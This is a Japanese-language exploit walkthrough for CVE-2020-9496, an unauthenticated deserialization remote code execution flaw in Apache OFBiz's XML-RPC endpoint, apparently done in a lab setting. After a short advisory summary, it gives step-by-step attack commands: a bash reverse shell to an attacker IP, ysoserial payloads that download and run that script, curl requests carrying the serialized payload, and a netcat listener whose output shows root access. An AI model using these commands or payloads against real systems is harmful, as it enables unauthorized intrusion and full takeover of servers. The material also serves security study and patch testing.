CVE-2020-9496 - RCE

webtools の2つの xmlrpc 関連リクエスト（xmlrpc と ping）は認証を使用していないため、安全でないデシリアライゼーションに対して脆弱です。この問題は、GitHub Security Lab チームの Alvaro Munoz [email protected] によってセキュリティチームに報告されました。

この脆弱性は、/webtools/control/xmlrpc に送信されたリクエストを処理する際の Java のシリアライゼーションの問題に起因します。リモートの未認証攻撃者は、細工したリクエストを送信することでこの脆弱性を悪用できます。悪用に成功すると、任意のコード実行が可能になります。

影響を受けるバージョン 17.12.01

修正済みバージョン 18.12.01, 17.12.04

元ブログ: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

この POC を機能させるには、シェルスクリプトを配置し、そのファイルを curl で実行/アクセスする必要があります。

ステップ 1: IPアドレスとポートアドレスを指定した Bash ワンライナーでシェルファイルを作成する。

$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/1337 0>&1

ステップ 2: このファイルを HTTP サービスで利用可能にする必要があります。

$ sudo python3 -m http.server 80

ステップ 3: ysoserial でペイロードを生成する - IPを変更する

$ ysoserial CommonsBeanutils1 "wget 10.10.x.x/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

ステップ 4: ペイロードの出力をコピーする - 非常に長い文字列

rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==

ステップ 5: 以下の curl コマンドを使用してペイロードを実行します。ペイロードを extensions”> の後に貼り付けてください。

$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

参考用のペイロードなしの curl コマンド

$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

curl コマンド実行後に HTTP サーバーでヒットがあったか確認する

$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.x.x - - [29/Apr/2021 12:57:07] "GET /shell.sh HTTP/1.1" 200 -

ご覧のとおり、HTTP サーバーにヒットがありました。ファイルは /tmp ディレクトリに shell.sh という名前でダウンロードされています。次にそのファイルを実行するために、もう一度ペイロードを作成します。ただし、その前に netcat リスナーを起動してください。

ステップ 6: NetCat リスナーを起動する

$ nc -lvnp 1337
listening on [any] 1337 ...

ステップ 7: 先ほどダウンロードしたシェルスクリプトを実行するためのペイロードを作成する

$ ysoserial CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

ステップ 8: 出力を curl コマンド内にコピー＆ペーストして実行する

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

ステップ 10: NetCat リスナーでリバース接続を確認する

$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 60006
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@test:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)

CVE-2020-9496

人気